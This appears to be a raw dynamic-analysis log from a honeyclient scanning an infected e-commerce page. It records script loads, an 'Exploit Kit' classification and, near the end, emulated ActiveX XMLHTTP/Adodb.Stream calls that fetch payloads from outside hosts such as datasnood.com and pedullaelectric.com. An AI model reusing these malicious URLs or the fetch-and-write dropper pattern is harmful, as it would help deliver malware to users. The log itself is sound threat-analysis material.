"http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/js/jquery/plugins/jquery.easing.js" }, { "timestamp": "2016-12-15 20:01:27.111654", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/jquery.easing.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:27.117415", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/jquery.easing.js (Content-type: text/javascript, MD5: b02bef6a62053b45babfbda795b6eac0)" }, { "timestamp": "2016-12-15 20:01:27.134105", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/js/tools.js" }, { "timestamp": "2016-12-15 20:01:27.134372", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/js/tools.js" }, { "timestamp": "2016-12-15 20:01:27.362759", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/tools.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:27.370250", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/tools.js (Content-type: text/javascript, MD5: 7af63945e5b9b17b83fb5325370982e2)" }, { "timestamp": "2016-12-15 20:01:27.559548", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/global.js" }, { "timestamp": "2016-12-15 20:01:27.559847", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/global.js" }, { "timestamp": "2016-12-15 20:01:27.792454", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/global.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:27.800157", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/global.js (Content-type: text/javascript, MD5: 996e89a7dcc35a8d099e940b10f7fda0)" }, { "timestamp": "2016-12-15 20:01:27.873300", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/autoload/10-bootstrap.min.js" }, { "timestamp": "2016-12-15 20:01:27.873576", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/autoload/10-bootstrap.min.js" }, { "timestamp": "2016-12-15 20:01:28.109585", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/autoload/10-bootstrap.min.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:28.116370", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/autoload/10-bootstrap.min.js (Content-type: text/javascript, MD5: 7ba470f70a0141a75a81d57e85c80d33)" }, { "timestamp": "2016-12-15 20:01:28.219877", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/autoload/15-jquery.total-storage.min.js" }, { "timestamp": "2016-12-15 20:01:28.220180", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/autoload/15-jquery.total-storage.min.js" }, { "timestamp": "2016-12-15 20:01:28.385831", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/autoload/15-jquery.total-storage.min.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:28.390865", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/autoload/15-jquery.total-storage.min.js (Content-type: text/javascript, MD5: 25bb6f0d5dc5f3094b9cd007e246cf1d)" }, { "timestamp": "2016-12-15 20:01:28.415798", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/autoload/15-jquery.uniform-modified.js" }, { "timestamp": "2016-12-15 20:01:28.416089", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/autoload/15-jquery.uniform-modified.js" }, { "timestamp": "2016-12-15 20:01:28.729101", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/autoload/15-jquery.uniform-modified.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:28.737046", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/autoload/15-jquery.uniform-modified.js (Content-type: text/javascript, MD5: f5e135a218bd73953b83c0e5ebdd46d6)" }, { "timestamp": "2016-12-15 20:01:31.279708", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/autoload/jquery.carouFredSel-6.2.1-packed.js" }, { "timestamp": "2016-12-15 20:01:31.279985", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/autoload/jquery.carouFredSel-6.2.1-packed.js" }, { "timestamp": "2016-12-15 20:01:31.664023", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/autoload/jquery.carouFredSel-6.2.1-packed.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:31.672436", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/autoload/jquery.carouFredSel-6.2.1-packed.js (Content-type: text/javascript, MD5: 72805fb6fa518285d00f3721f2eeed88)" }, { "timestamp": "2016-12-15 20:01:32.056504", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/autoload/jquery.touchwipe.min.js" }, { "timestamp": "2016-12-15 20:01:32.056835", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/autoload/jquery.touchwipe.min.js" }, { "timestamp": "2016-12-15 20:01:32.224887", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/autoload/jquery.touchwipe.min.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:32.228670", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/autoload/jquery.touchwipe.min.js (Content-type: text/javascript, MD5: 9268dc7f6a871944d3974a495f659ce8)" }, { "timestamp": "2016-12-15 20:01:32.255735", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/js/jquery/plugins/fancybox/jquery.fancybox.js" }, { "timestamp": "2016-12-15 20:01:32.256004", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/js/jquery/plugins/fancybox/jquery.fancybox.js" }, { "timestamp": "2016-12-15 20:01:32.498514", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/fancybox/jquery.fancybox.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:32.505652", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/fancybox/jquery.fancybox.js (Content-type: text/javascript, MD5: cc9e759f24ba773aeef8a131889d3728)" }, { "timestamp": "2016-12-15 20:01:32.556973", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/products-comparison.js" }, { "timestamp": "2016-12-15 20:01:32.557277", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/products-comparison.js" }, { "timestamp": "2016-12-15 20:01:32.726116", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/products-comparison.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:32.731777", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/products-comparison.js (Content-type: text/javascript, MD5: 91c10b1fd8ea716b856733e343ee67ae)" }, { "timestamp": "2016-12-15 20:01:32.766167", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/modules/blockcart/ajax-cart.js" }, { "timestamp": "2016-12-15 20:01:32.766444", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/modules/blockcart/ajax-cart.js" }, { "timestamp": "2016-12-15 20:01:33.042065", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blockcart/ajax-cart.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:33.048999", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blockcart/ajax-cart.js (Content-type: text/javascript, MD5: e74623b4272b8ff78acdfb3bfe56b114)" }, { "timestamp": "2016-12-15 20:01:33.081329", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/js/jquery/plugins/jquery.scrollTo.js" }, { "timestamp": "2016-12-15 20:01:33.081598", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/js/jquery/plugins/jquery.scrollTo.js" }, { "timestamp": "2016-12-15 20:01:33.255836", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/jquery.scrollTo.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:33.260214", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/jquery.scrollTo.js (Content-type: text/javascript, MD5: d58fea835d9825c614aa670aa89b6422)" }, { "timestamp": "2016-12-15 20:01:33.298850", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/js/jquery/plugins/jquery.serialScroll.js" }, { "timestamp": "2016-12-15 20:01:33.299120", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/js/jquery/plugins/jquery.serialScroll.js" }, { "timestamp": "2016-12-15 20:01:33.481634", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/jquery.serialScroll.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:33.485783", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/jquery.serialScroll.js (Content-type: text/javascript, MD5: 667dbe0197ae28806702fb36fa4b7c49)" }, { "timestamp": "2016-12-15 20:01:33.528769", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/js/jquery/plugins/bxslider/jquery.bxslider.js" }, { "timestamp": "2016-12-15 20:01:33.529036", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/js/jquery/plugins/bxslider/jquery.bxslider.js" }, { "timestamp": "2016-12-15 20:01:33.761381", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/bxslider/jquery.bxslider.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:33.768553", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/bxslider/jquery.bxslider.js (Content-type: text/javascript, MD5: dce89db6989a4035940dbeb99d326de1)" }, { "timestamp": "2016-12-15 20:01:33.795592", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/tools/treeManagement.js" }, { "timestamp": "2016-12-15 20:01:33.795896", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/tools/treeManagement.js" }, { "timestamp": "2016-12-15 20:01:33.984226", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/tools/treeManagement.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:33.989354", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/tools/treeManagement.js (Content-type: text/javascript, MD5: 7ac93bc0acf5c20a32a554d56652550d)" }, { "timestamp": "2016-12-15 20:01:34.015898", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/modules/blocknewsletter/blocknewsletter.js" }, { "timestamp": "2016-12-15 20:01:34.016176", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/modules/blocknewsletter/blocknewsletter.js" }, { "timestamp": "2016-12-15 20:01:34.193048", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blocknewsletter/blocknewsletter.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:34.197589", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blocknewsletter/blocknewsletter.js (Content-type: text/javascript, MD5: aa3cf91c2e9520f2b4f62322c9f1a4dd)" }, { "timestamp": "2016-12-15 20:01:34.224120", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/js/jquery/plugins/autocomplete/jquery.autocomplete.js" }, { "timestamp": "2016-12-15 20:01:34.224388", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/js/jquery/plugins/autocomplete/jquery.autocomplete.js" }, { "timestamp": "2016-12-15 20:01:34.463366", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/autocomplete/jquery.autocomplete.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:34.469793", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/js/jquery/plugins/autocomplete/jquery.autocomplete.js (Content-type: text/javascript, MD5: 9c96d1764b7c0515cbabd115b44bf824)" }, { "timestamp": "2016-12-15 20:01:35.693713", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/modules/blocksearch/blocksearch.js" }, { "timestamp": "2016-12-15 20:01:35.693983", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/modules/blocksearch/blocksearch.js" }, { "timestamp": "2016-12-15 20:01:35.869127", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blocksearch/blocksearch.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:35.874496", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blocksearch/blocksearch.js (Content-type: text/javascript, MD5: 475402c9c49f3d433cd6eb411485c67f)" }, { "timestamp": "2016-12-15 20:01:35.905637", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/modules/blockwishlist/js/ajax-wishlist.js" }, { "timestamp": "2016-12-15 20:01:35.905928", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/modules/blockwishlist/js/ajax-wishlist.js" }, { "timestamp": "2016-12-15 20:01:36.105683", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blockwishlist/js/ajax-wishlist.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:36.112284", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blockwishlist/js/ajax-wishlist.js (Content-type: text/javascript, MD5: 824b2e1ab4fc193c8844ac6101a9e56a)" }, { "timestamp": "2016-12-15 20:01:36.156651", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/modules/wpzoom/js/jquery.zoom-min.js" }, { "timestamp": "2016-12-15 20:01:36.156940", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/modules/wpzoom/js/jquery.zoom-min.js" }, { "timestamp": "2016-12-15 20:01:36.369437", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/modules/wpzoom/js/jquery.zoom-min.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:36.373941", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/modules/wpzoom/js/jquery.zoom-min.js (Content-type: text/javascript, MD5: dfb7d868f990030637dc7f9c69f0c706)" }, { "timestamp": "2016-12-15 20:01:36.417035", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/modules/wpzoom/js/wpzoom.js" }, { "timestamp": "2016-12-15 20:01:36.417304", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/modules/wpzoom/js/wpzoom.js" }, { "timestamp": "2016-12-15 20:01:36.596819", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/modules/wpzoom/js/wpzoom.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:36.602028", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/modules/wpzoom/js/wpzoom.js (Content-type: text/javascript, MD5: 54a73806299f8be0ffeb636e702ab0ae)" }, { "timestamp": "2016-12-15 20:01:36.632892", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/modules/wpblocknewproducts/js/wpblocknewproducts.js" }, { "timestamp": "2016-12-15 20:01:36.633161", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/modules/wpblocknewproducts/js/wpblocknewproducts.js" }, { "timestamp": "2016-12-15 20:01:36.805556", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/modules/wpblocknewproducts/js/wpblocknewproducts.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:36.810381", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/modules/wpblocknewproducts/js/wpblocknewproducts.js (Content-type: text/javascript, MD5: adf1629aca34372166a6849bc39041a6)" }, { "timestamp": "2016-12-15 20:01:36.867319", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/modules/wpblockspecials/js/wpblockspecials.js" }, { "timestamp": "2016-12-15 20:01:36.867608", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/modules/wpblockspecials/js/wpblockspecials.js" }, { "timestamp": "2016-12-15 20:01:37.042246", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/modules/wpblockspecials/js/wpblockspecials.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:37.047804", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/modules/wpblockspecials/js/wpblockspecials.js (Content-type: text/javascript, MD5: c8695f0cfe1fe611270106b6603d01f3)" }, { "timestamp": "2016-12-15 20:01:37.102875", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/hoverIntent.js" }, { "timestamp": "2016-12-15 20:01:37.103165", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/hoverIntent.js" }, { "timestamp": "2016-12-15 20:01:37.287737", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/hoverIntent.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:37.294078", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/hoverIntent.js (Content-type: text/javascript, MD5: afd5cfd89a0d06a3a3483886f073069a)" }, { "timestamp": "2016-12-15 20:01:37.332895", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/superfish-modified.js" }, { "timestamp": "2016-12-15 20:01:37.333172", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/superfish-modified.js" }, { "timestamp": "2016-12-15 20:01:37.916172", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/superfish-modified.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:37.922451", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/superfish-modified.js (Content-type: text/javascript, MD5: 12c125e86f481749cb3d40fbc451d4c4)" }, { "timestamp": "2016-12-15 20:01:37.979051", "cve": "None", "method": "Dynamic Analysis", "description": "[script src redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/blocktopmenu.js" }, { "timestamp": "2016-12-15 20:01:37.979342", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- script src --> http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/blocktopmenu.js" }, { "timestamp": "2016-12-15 20:01:38.152276", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/blocktopmenu.js (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:38.159069", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/js/modules/blocktopmenu/js/blocktopmenu.js (Content-type: text/javascript, MD5: 3537b2621dc7ad3cc965513f39c5d439)" }, { "timestamp": "2016-12-15 20:01:38.273714", "cve": "None", "method": "Dynamic Analysis", "description": "[link redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/themes/jaro/css/responsive.css" }, { "timestamp": "2016-12-15 20:01:38.274041", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- link --> http://decorvise.com/themes/jaro/css/responsive.css" }, { "timestamp": "2016-12-15 20:01:38.513787", "cve": "None", "method": "Dynamic Analysis", "description": "[URL Classifier] URL: http://decorvise.com/themes/jaro/css/responsive.css (Rule: g01Pack_2, Classification: Exploit Kit)" }, { "timestamp": "2016-12-15 20:01:38.514316", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/css/responsive.css (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:38.520681", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/themes/jaro/css/responsive.css (Content-type: text/css, MD5: d00917699510a1173a00c75997cfdf3b)" }, { "timestamp": "2016-12-15 20:01:38.522003", "cve": "None", "method": "Dynamic Analysis", "description": "[link redirection] http://decorvise.com/i2qdmdy2 -> http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic&subset=latin,latin-ext" }, { "timestamp": "2016-12-15 20:01:38.522320", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- link --> http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic&subset=latin,latin-ext" }, { "timestamp": "2016-12-15 20:01:38.669481", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic&subset=latin,latin-ext (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:38.673891", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic&subset=latin,latin-ext (Content-type: text/css; charset=utf-8, MD5: a9b94492b1ac87923da8406905edc8e9)" }, { "timestamp": "2016-12-15 20:01:38.675357", "cve": "None", "method": "Dynamic Analysis", "description": "[link redirection] http://decorvise.com/i2qdmdy2 -> http://decorvise.com/modules/wpstyleswitcher/css/wpstyleswitcher.css?20161215210123" }, { "timestamp": "2016-12-15 20:01:38.675864", "cve": "None", "method": "Dynamic Analysis", "description": "http://decorvise.com/i2qdmdy2 -- link --> http://decorvise.com/modules/wpstyleswitcher/css/wpstyleswitcher.css?20161215210123" }, { "timestamp": "2016-12-15 20:01:38.924600", "cve": "None", "method": "Dynamic Analysis", "description": "[URL Classifier] URL: http://decorvise.com/modules/wpstyleswitcher/css/wpstyleswitcher.css?20161215210123 (Rule: g01Pack_2, Classification: Exploit Kit)" }, { "timestamp": "2016-12-15 20:01:38.925116", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/modules/wpstyleswitcher/css/wpstyleswitcher.css?20161215210123 (Status: 200, Referer: http://decorvise.com/i2qdmdy2)" }, { "timestamp": "2016-12-15 20:01:38.929979", "cve": "None", "method": "Dynamic Analysis", "description": "[HTTP] URL: http://decorvise.com/modules/wpstyleswitcher/css/wpstyleswitcher.css?20161215210123 (Content-type: text/css, MD5: 123397945070eb7f49d5ecef939314a5)" }, { "timestamp": "2016-12-15 20:01:44.807687", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] open" }, { "timestamp": "2016-12-15 20:01:44.808207", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Write" }, { "timestamp": "2016-12-15 20:01:44.808796", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] open('GET', 'http://datasnood.com/jbgxjzr', False)" }, { "timestamp": "2016-12-15 20:01:44.809129", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] setRequestHeaders('User-Agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)')" }, { "timestamp": "2016-12-15 20:01:44.809385", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] send" }, { "timestamp": "2016-12-15 20:01:44.809599", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] Fetching from URL http://datasnood.com/jbgxjzr (method: GET)" }, { "timestamp": "2016-12-15 20:01:44.809901", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP Exploit redirection] about:blank -> http://datasnood.com/jbgxjzr" }, { "timestamp": "2016-12-15 20:01:44.810129", "cve": "None", "method": "Dynamic Analysis", "description": "about:blank -- Microsoft XMLHTTP Exploit --> http://datasnood.com/jbgxjzr" }, { "timestamp": "2016-12-15 20:01:58.908566", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] Fetch failed" }, { "timestamp": "2016-12-15 20:01:58.909202", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] open" }, { "timestamp": "2016-12-15 20:01:58.909998", "cve": "None", "method": "Dynamic Analysis", "description": "[Adodb.Stream ActiveX] Write" }, { "timestamp": "2016-12-15 20:01:58.910941", "cve": "None", "method": "Dynamic Analysis", "description": "[Microsoft XMLHTTP ActiveX] open('GET', 'http://pedullaelectric.com/hmexsuo7l', False)" 